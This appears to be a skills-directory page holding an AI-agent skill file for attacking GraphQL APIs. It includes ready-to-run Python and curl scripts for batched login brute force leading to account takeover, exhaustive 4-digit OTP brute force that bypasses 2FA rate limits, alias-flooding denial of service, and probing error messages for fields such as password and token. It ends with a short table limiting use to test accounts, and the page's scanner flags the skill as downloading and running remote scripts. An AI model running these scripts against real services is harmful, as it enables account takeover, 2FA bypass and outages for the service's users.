Back to skills
SKILL.md
Khaos Chain Graphql Batching
BSecurityGraphQL batching chain — batch query array bypasses rate limiting → credential brute force → ATO; alias flooding → DoS; introspection → sensitive field discovery; circular query depth exhaustion
- 6 stars
- 0 votes
- 0 copies
- 0 views
- Added December 5, 2026
Works with
Security analysis
88/100- Downloads and executes remote scripts — classic supply chain attack
Pro scans all 2 files and shows the line behind each finding
npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-graphql-batching --agent claude-codeAre you the author of Khaos Chain Graphql Batching?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-graphql-batching-khaos-pentester-agent)---
name: khaos-chain-graphql-batching
description: GraphQL batching chain — batch query array bypasses rate limiting → credential brute force → ATO; alias flooding → DoS; introspection → sensitive field discovery; circular query depth exhaustion
metadata:
khaos:
stages: [recon, exploitation, validation]
tool_ids: [httpx, nuclei-dast]
---
# GraphQL Batching Abuse Chain
GraphQL supports batching: an array of operations in a single HTTP request. Many rate limiters count HTTP requests, not GraphQL operations — so 100 mutation operations sent as one batched request bypass per-request rate limits entirely. The chain: confirm batching → identify rate-limited operation (login, OTP, password reset) → batch brute-force → ATO.
## Phase 1: Confirm GraphQL endpoint and batching support
```bash
TARGET="https://TARGET"
AUTH="Authorization: Bearer TOKEN"
# Step 1: Find GraphQL endpoint:
for path in /graphql /api/graphql /v1/graphql /query /gql /api/query; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET$path" \
-H "Content-Type: application/json" \
-d '{"query": "{__typename}"}')
echo "$path: $code"
done
# Step 2: Confirm batching — send an array of two queries:
curl -sk "$TARGET/graphql" \
-H "Content-Type: application/json" \
-H "$AUTH" \
-d '[{"query":"{__typename}"},{"query":"{__typename}"}]'
# If response is an array of two results → batching enabled
# Step 3: Confirm alias support (alternative batching without array):
curl -sk "$TARGET/graphql" \
-H "Content-Type: application/json" \
-H "$AUTH" \
-d '{"query": "{ a: __typename b: __typename c: __typename }"}'
# Multiple aliases in one query also bypass per-request rate limits
```
---
## Phase 2: Introspection — discover sensitive operations
```bash
TARGET="https://TARGET/graphql"
AUTH="Authorization: Bearer TOKEN"
# Full introspection query to map all types, fields, mutations:
curl -sk "$TARGET" \
-H "Content-Type: application/json" \
-H "$AUTH" \
-d '{"query": "{ __schema { queryType { name } mutationType { name } types { name kind fields { name args { name type { name kind ofType { name kind } } } } } } }"}' \
| python3 -m json.tool | head -100
# Extract all mutations:
curl -sk "$TARGET" \
-H "Content-Type: application/json" \
-d '{"query": "{ __type(name: \"Mutation\") { fields { name args { name type { name kind } } } } }"}' \
| python3 -c "
import sys, json
data = json.load(sys.stdin)
for f in data.get('data',{}).get('__type',{}).get('fields',[]):
args = [a['name'] for a in f.get('args',[])]
print(f['name'], args)
"
# Look for: login, verifyOtp, resetPassword, changeEmail — targets for batching attack
```
---
## Phase 3: Batch brute-force → credential stuffing → ATO
```python
#!/usr/bin/env python3
"""
Batch login brute-force: send 100 login attempts as a single batched GraphQL request.
Bypasses rate limiting enforced at the HTTP request level.
"""
import requests, json
TARGET = "https://TARGET/graphql"
USERNAME = "admin@target.com"
WORDLIST = ["password", "123456", "admin", "P@ssw0rd", "Password1", "qwerty123",
"letmein", "welcome1", "Summer2024!", "Winter2024!", "Company123!",
"Target2024", "Admin123!", "Passw0rd!", "Aa123456!"]
LOGIN_MUTATION = """
mutation login{N}($email: String!, $password: String!) {
login{N}: login(email: $email, password: $password) {
token
user { id email role }
}
}
"""
# Build batched request with 100 mutations (one per password):
batch = []
for i, pw in enumerate(WORDLIST):
op = {
"operationName": f"login{i}",
"query": LOGIN_MUTATION.replace("{N}", str(i)),
"variables": {"email": USERNAME, "password": pw}
}
batch.append(op)
r = requests.post(TARGET,
headers={"Content-Type": "application/json"},
data=json.dumps(batch)
)
results = r.json()
for i, (res, pw) in enumerate(zip(results, WORDLIST)):
data = res.get("data", {})
login_key = f"login{i}"
if data.get(login_key) and data[login_key].get("token"):
print(f"[SUCCESS] password={pw!r}")
print(f" token={data[login_key]['token'][:30]}...")
print(f" user={data[login_key].get('user', {})}")
elif res.get("errors"):
err = res["errors"][0].get("message", "")[:50]
# print(f"[fail] {pw!r}: {err}")
```
---
## Phase 4: OTP / 2FA brute-force via batching
```python
#!/usr/bin/env python3
"""
Batch OTP brute-force: send all 10,000 possible 4-digit OTPs in a few batched requests.
Most OTP rate limits are per-HTTP-request → completely bypassed.
"""
import requests, json
TARGET = "https://TARGET/graphql"
TOKEN = "PRE_OTP_SESSION_TOKEN" # token after username/password, before OTP
VERIFY_OTP = """
mutation verifyOtp{N}($code: String!) {
verifyOtp{N}: verifyOtp(code: $code) {
success
authToken
}
}
"""
# Generate all 4-digit OTPs: 0000-9999 (10,000 values)
# Split into batches of 100 (100 per HTTP request = 100 requests total):
all_otps = [f"{i:04d}" for i in range(10000)]
BATCH_SIZE = 100
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {TOKEN}"
}
for chunk_start in range(0, len(all_otps), BATCH_SIZE):
chunk = all_otps[chunk_start:chunk_start + BATCH_SIZE]
batch = []
for i, otp in enumerate(chunk):
batch.append({
"operationName": f"verifyOtp{i}",
"query": VERIFY_OTP.replace("{N}", str(i)),
"variables": {"code": otp}
})
r = requests.post(TARGET, headers=headers, data=json.dumps(batch))
results = r.json()
for i, (res, otp) in enumerate(zip(results, chunk)):
data = res.get("data", {})
key = f"verifyOtp{i}"
if data.get(key) and data[key].get("authToken"):
print(f"[OTP FOUND] code={otp}")
print(f" authToken: {data[key]['authToken'][:30]}...")
break
print(f"Batch {chunk_start//BATCH_SIZE + 1}/100 tested")
```
---
## Phase 5: Alias flooding → query complexity DoS
```python
#!/usr/bin/env python3
"""
Alias flooding: send one request with thousands of aliases for the same expensive query.
No batching array needed — aliases bypass most query complexity limiters.
"""
import requests
TARGET = "https://TARGET/graphql"
# Generate a query with 1000 aliases for an expensive operation:
aliases = "\n".join([
f"user{i}: user(id: {i}) {{ id name email posts {{ id title }}}}"
for i in range(1, 1001)
])
query = f"{{ {aliases} }}"
r = requests.post(TARGET,
headers={"Content-Type": "application/json"},
json={"query": query},
timeout=30
)
print(f"Status: {r.status_code}")
print(f"Response size: {len(r.content)} bytes")
print(f"Time: {r.elapsed.total_seconds():.2f}s")
# High response time or 503 → server-side DoS confirmed
```
---
## Phase 6: Field suggestion enumeration (disabled introspection bypass)
```bash
TARGET="https://TARGET/graphql"
# If introspection is disabled, exploit GraphQL's field suggestion error messages:
# "Did you mean 'password'?" reveals field names without introspection
for field in pass pwd secret token apiKey key hash salt credit card ssn admin role; do
resp=$(curl -sk "$TARGET" \
-H "Content-Type: application/json" \
-d "{\"query\": \"{ user { $field } }\"}")
if echo "$resp" | grep -qi "did you mean\|suggestions"; then
echo "[SUGGESTION] $field: $(echo $resp | python3 -c "import sys,json; d=json.load(sys.stdin); [print(e.get('message','')) for e in d.get('errors',[])]")"
fi
done
```
---
## ⛔ Prohibition table
| Prohibited | Alternative |
|---|---|
| OTP brute-force on a real user's account without their consent | Use a test account where you own both the OTP source and the target account |
| Alias flooding DoS against a production GraphQL API | Test with 10 aliases first; confirm latency increase; extrapolate without causing real outage |
| Introspection dump that exposes another customer's private schema | Use only your own authorized test tenant |
| Batched credential stuffing with real leaked credential lists | Use a synthetic wordlist; confirm one successful auth with known test credentials |
## ✓ Completion self-check
- [ ] GraphQL endpoint confirmed: introspection or __typename query returns data
- [ ] Batching confirmed: array of queries returns array of responses
- [ ] Rate-limited operation identified: login, OTP, password reset
- [ ] Batch bypass confirmed: N operations in one HTTP request bypasses per-request rate limit
- [ ] At least one successful auth (login/OTP) via batched brute-force on test account
- [ ] Alias flooding tested: response latency increases with alias count
- [ ] Field suggestion enumeration attempted if introspection is disabled
- [ ] Finding: CWE-307 (Improper Restriction of Excessive Authentication Attempts) — HIGH/CRITICAL
Files in this skill
- SKILL.md
- scripts/graphql_batch_probe.py
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.